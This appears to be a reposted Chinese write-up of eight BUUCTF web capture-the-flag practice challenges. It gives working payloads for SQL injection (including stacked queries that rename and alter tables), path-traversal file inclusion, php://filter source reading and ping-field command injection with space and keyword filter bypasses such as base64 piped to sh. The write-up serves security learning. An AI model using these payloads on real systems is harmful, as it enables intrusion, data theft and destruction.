BUUCTF-练习场-WEB-第一部分(8道)

这篇具有很好参考价值的文章主要介绍了BUUCTF-练习场-WEB-第一部分(8道)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

[极客大挑战 2019]EasySQL 1

buuctfweb第一题,安全,网络,Powered by 金山文档

payload:1' or 1=1#

'是闭合前面的查询语句,or 1=1恒成立,可以使用or句子绕过判断,#用于注释,注释后面的内容不再执行,所以该sql命令会返回表内所有内容,其实就是实现一个闭合查询,绕过判断,返回内容
buuctfweb第一题,安全,网络,Powered by 金山文档

[HCTF 2018]WarmUp

buuctfweb第一题,安全,网络,Powered by 金山文档

F12查看源代码,发现注释中有一个source.php文件名称

buuctfweb第一题,安全,网络,Powered by 金山文档

访问这个文件,看到了源码,同时源码中还提及了一个hint.php的文件

buuctfweb第一题,安全,网络,Powered by 金山文档

访问hint.php,得到了flag所在的文件名

buuctfweb第一题,安全,网络,Powered by 金山文档

源码中有这样一段内容

buuctfweb第一题,安全,网络,Powered by 金山文档

如果有file值的传入,且file为字符串,而且通过了checkFile的验证,则将file文件包含,我们可以通过这个文件包含,回显ffffllllaaaagggg的内容。

注:include,包含并执行文件。被包含文件先按参数给出的路径寻找,如果没有给出目录(只有文件名)时则按照 include_path 指定的目录寻找。如果在 include_path 下没找到该文件则 include 最后才在调用脚本文件所在的目录和当前工作目录下寻找。如果最后仍未找到文件则include 结构会发出一条警告;这一点和 require 不同,require会发出一个致命错误。

那么,可以构造payload读取到文件,得到flag:

?file=source.php?../../../../../../../../../../../../ffffllllaaaagggg
buuctfweb第一题,安全,网络,Powered by 金山文档

[极客大挑战 2019]Havefun

buuctfweb第一题,安全,网络,Powered by 金山文档

查看源代码,注释中包含一段源码,get传参,变量cat,当cat==dog时,回显Sys{cat_cat_cat}

buuctfweb第一题,安全,网络,Powered by 金山文档

那么,payload为:

?cat=dog //成功回显payload
buuctfweb第一题,安全,网络,Powered by 金山文档

[ACTF2020 新生赛]Include

buuctfweb第一题,安全,网络,Powered by 金山文档

点击tips,发现url中file=flag.php,但是并没有回显flag

buuctfweb第一题,安全,网络,Powered by 金山文档

这里我们可以使用这样的payload格式去构造:

php://filter/read=convert.base64-encode/resource=xxx.php
php://filter 是php中独有的一个协议,可以作为一个中间流来处理其他流,可以进行任意文件的读取。
resource=<要过滤的数据流> 指定了你要筛选过滤的数据流。
read=<读链的筛选列表>可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或write=作前缀 的筛选器列表会视情况应用于读或写链。
php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行,从而读取文件内容。
read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

payload:文章来源地址https://www.toymoban.com/news/detail-741671.html

/?file=php://filter/read=convert.base64-encode/resource=flag.php
buuctfweb第一题,安全,网络,Powered by 金山文档

读取到了一段base64编码的字符串,将该字符串进行转码后,得到flag

buuctfweb第一题,安全,网络,Powered by 金山文档

[ACTF2020 新生赛]Exec

buuctfweb第一题,安全,网络,Powered by 金山文档

打开后是一个ping的功能,我们尝试用|进行命令拼接,发现ls命令可以直接执行,并且读取到根目录下的文件信息,在根目录下有一个flag文件

命令:|ls ../../../../../../../../../../../../../
buuctfweb第一题,安全,网络,Powered by 金山文档
使用命令,直接读取flag文件内容,获得flag:
|cat ../../../../../../../../../../../../../flag
buuctfweb第一题,安全,网络,Powered by 金山文档

[强网杯 2019]随便注

buuctfweb第一题,安全,网络,Powered by 金山文档

sql注入了,先来判断一下字段数

1' order by 1 # 和 1' order by 2 # 可以正常回显
1' order by 3 # 的时候报错,说明字段数为2
buuctfweb第一题,安全,网络,Powered by 金山文档

尝试union联合注入

1' union select 1,2#
buuctfweb第一题,安全,网络,Powered by 金山文档

发现提示select等命令被过滤掉了。。。。

使用一种新知识,堆叠注入:

使用; 号注入多条SQL语句并执行,先爆库试一下:
0'; show databases; #
buuctfweb第一题,安全,网络,Powered by 金山文档

可以使用,尝试回显出,当前数据库中的表

0'; show tables; #
buuctfweb第一题,安全,网络,Powered by 金山文档

查到两个表,分别是"1919810931114514"和"words"

查看表中字段名称:

1'; show columns from words; #
1'; show columns from `1919810931114514`; #
注意:当表名为数字时,要使用反引号将表名括起。

words中没什么有用的字段名,在1919810931114514中,发现flag字段

buuctfweb第一题,安全,网络,Powered by 金山文档
补充知识:
show databases//列出服务器可访问的数据库
show tables//显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息。

到了读取flag内容的时候,犯了大难,查询其他师傅的wp,有三种方法适用,这里我只写两种(第三种看不明白)

方法一:

1,通过 rename 先把 words 表改名为word1。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);

提交查询,提交之后,再提交1查询时,回显flag字段中的内容。

buuctfweb第一题,安全,网络,Powered by 金山文档

方法二:

由于select被过滤了,所以将select * from ` 1919810931114514` 进行十六进制编码,再构造payload。

buuctfweb第一题,安全,网络,Powered by 金山文档
select * from ` 1919810931114514`转换得到0x73656c656374202a2066726f6d20603139313938313039333131313435313460

payload:

;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

知识点:

prepare…from…是预处理语句,会进行编码转换。
execute用来执行由SQLPrepare创建的SQL语句。
SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

[SUCTF 2019]EasySQL

buuctfweb第一题,安全,网络,Powered by 金山文档

sql注入,和上一题好像,堆叠注入爆一下库名

1;show databases;
buuctfweb第一题,安全,网络,Powered by 金山文档

同样方法爆一下表名

1;show tables;
buuctfweb第一题,安全,网络,Powered by 金山文档

有个Flag表,看看Flag表中字段,回显nonono?,判断可能过滤了flag

buuctfweb第一题,安全,网络,Powered by 金山文档

接下来回顾一下最开始我们输入的非0数字和0与字母所回显的内容:非0数字回显1,0和字母不会回显任何内容

这道题目需要我们去对后端语句进行猜解
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
后台语句为:select $post['query']||flag from Flag

当我们输入非零数字时才会会显出1,而0和其他全都无回显,猜测后端语句中有||操作符,只有我们输入非零数字才会满足||的逻辑为True从而进行回显的条件。也就是满足:select 输入的内容 || 一个列名 from 表名。(select 输入数据 || flag from Flag)

这里需要借用到:设置 sql_mode=PIPES_AS_CONCAT来转换操作符的作用。(sql_mode设置)

利用PIPES_AS_CONCAT令||起到连接符的作用。

构建payload:

1;set sql_mode=PIPES_AS_CONCAT;select 1

注:这里的逻辑是先把||转换为连接操作符,注意分号隔断了前面的命令,所以要再次添加select来进行查询,这里把1换成其他非零数字也一样会回显flag

buuctfweb第一题,安全,网络,Powered by 金山文档

还有一个非预期解 *,1 可以直接得到flag

后端语句是select 输入内容 || flag from Flag,输入*,1就相当于构造了
select *,1 || flag from Flag
这条语句执行起来相当于
select *, 1 from Flag
因为1||flag是个短路算法,直接输出1了
select *和select 所有列的意义相同,那么我们构造的
select *,1 || flag from Flag 就等同于 select *,1 from Flag
buuctfweb第一题,安全,网络,Powered by 金山文档

[GXYCTF2019]Ping Ping Ping

buuctfweb第一题,安全,网络,Powered by 金山文档

看起来因该是命令执行了,给出一个/?ip=的提示,应该时get传参,变量名是ip了,尝试传个数字进去看看效果

buuctfweb第一题,安全,网络,Powered by 金山文档

看来是执行了ping命令,使用|组合命令进去执行看看

/?ip=1|ls
buuctfweb第一题,安全,网络,Powered by 金山文档

成功读取到当前路径下有flag.php的文件,读取一下文件内容试试

/?ip=1|cat%20flag.php
buuctfweb第一题,安全,网络,Powered by 金山文档

嗯。。。过滤了空格,使用 $IFS$数字 来绕过空格过滤试试

/?ip=cat$IFS$9flag.php
buuctfweb第一题,安全,网络,Powered by 金山文档

嗯。。。是成功绕过了空格过滤,发现还过滤了flag,这里有两种思路:

方法一:

使用base64编码绕过

把 cat$IFS$9flag.php 转换为base64编码

buuctfweb第一题,安全,网络,Powered by 金山文档
payload:
/?ip=1;echo$IFS$9Y2F0JElGUyQ5ZmxhZy5waHA=|base64$IFS$9-d|sh
buuctfweb第一题,安全,网络,Powered by 金山文档

在返回的响应包或源代码注释中,可以看到flag

方法二:

变量拼接,我们想要执行cat$IFS$9flag.php 但是flag被过滤了,我们可以将flag进行拆分

payload:

/?ip=1;a=fl;b=ag;cat$IFS$9$a$b.php
buuctfweb第一题,安全,网络,Powered by 金山文档

过滤依旧,更换一下拼接方式,成功回显flag

payload:

/?ip=1;a=ag;cat$IFS$9fl$a.php
buuctfweb第一题,安全,网络,Powered by 金山文档

到了这里,关于BUUCTF-练习场-WEB-第一部分(8道)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 使用esp32+micropython+microdot搭建web(http+websocket)服务器(超详细)第一部分

    microdot文档速查 什么是Microdot?Microdot是一个可以在micropython中搭建物联网web服务器的框架 micropyton文档api速查 Quick reference for the ESP32 演示视频链接 视频中我们简单的实现了 使用esp32搭建web服务器 实现get请求 上传网页到服务器 手机打开网址访问该网页 服务器处理请求,实现开

    2024年02月08日
    浏览(51)
  • 模拟第一部分5

    1、如果想要在外部包中使用全局变量,则全局变量必须( ) 正确答案:A A、首字母必须大写 B、首字母必须小写 C、必须加上const D、必须加上var 答案解析:在函数体外声明的变量称之为全局变量。全局变量声明必须以 var 开头,如果想要在外部包中使用

    2024年02月08日
    浏览(46)
  • 第一部分:核心容器

    Spring就是一个轻量级的控制反转(IOC)和面向切面编程(AOP)的框架!         什么是IoC、IoC容器、bean、DI ? IoC:对象创建控制权由程序转移到IoC容器的控制反转思想。 IoC容器:创建管理对象的容器。 bean:IoC容器中被创建管理的对象。 DI:IoC容器中建立bean之间依赖关

    2024年02月13日
    浏览(44)
  • 6.播放音频(第一部分)

    这一章将对播放音频的具体内容做讲解。我的想法是按照tinyalsa中的例子作为讲解的范本,因为tinyalsa足够简单,很多时候都忽略了它的细节。趁着这个机会再整理一下tinyalsa的内容。我使用的tinyalsa从https://github.com/tinyalsa/tinyalsa下载,从examples/writei.c开始。 其中函数read_file从

    2023年04月08日
    浏览(37)
  • MySQL学习-第一部分

    MySQL数据库 MySQL是一个**关系型数据库管理系统****,**由瑞典[MySQL AB](https://baike.baidu.com/item/MySQL AB/2620844) 公司开发,属于 Oracle 旗下产品。MySQL 是最流行的关系型数据库管理系统之一,在 WEB 应用方面,MySQL是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用

    2024年02月15日
    浏览(50)
  • 第一部分:Spark基础篇

    第一部分:Spark基础篇_奔跑者-辉的博客-CSDN博客 第二部分:Spark进阶篇_奔跑者-辉的博客-CSDN博客 第三部分:Spark调优篇_奔跑者-辉的博客-CSDN博客 第一部分:Flink基础篇_奔跑者-辉的博客-CSDN博客 (*建议收藏*) 实时数仓之 Kappa 架构与 Lambda 架构_奔跑者-辉的博客-CSDN博客(*建议收

    2024年02月05日
    浏览(47)
  • 第一部分-基础篇-第一章:PSTN与VOIP(下篇)

      学习资料来源《FreeSWITCH权威指南》-作者杜金房这本书。我是2022年6月毕业的,偶然的机会接触到FreeSWITCH,但是目前在南京从事java后端开发,FreeSWITCH纯属个人爱好,进行笔记整理。也一直希望有机会可以参与FreeSWITCH相关工作开发,如有需要,请联系我18956043585,先说声谢

    2024年02月06日
    浏览(54)
  • HTML学习 第一部分(前端学习)

    参考学习网站: 网页简介 (w3schools.com) 我的学习思路是:网站+实践+视频。 视频很重要的,因为它会给你一种开阔思路的方式。你会想,噢!原来还可以这样。这是书本或者网站教程 所不能教给你的。而且,对一些教程,它的用法你可能 在工作或者以后都用不上,这种情况下

    2024年02月15日
    浏览(48)
  • Mysql入门基础教程(第一部分)

    MySQL基础教程解释了一些基本的SQL语句。如果这是您第一次使用关系数据库管理系统,本教程将为您提供使用MySQL数据库服务器所需的一切,例如查询数据,更新数据,管理数据库和创建表。 如果您已经熟悉其他关系数据库管理系统(如PostgreSQL,Oracle或Microsoft SQL Server等),

    2024年04月14日
    浏览(37)
  • 字符串---第一部分 序列、字串;上升,公共

    第一部分 最长上升子序列,最长上升子串,最长公共子序列,最长公共子串--dp 第二部分 KMP,trie,双指针 第三部分 待定 动态规划:审题,状态确定,状态转移,边界条件 线性DP 最长上升子序列 403 线性DP 最长上升子序列【动态规划】_哔哩哔哩_bilibili 给定一个无序整数数组

    2024年02月07日
    浏览(49)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包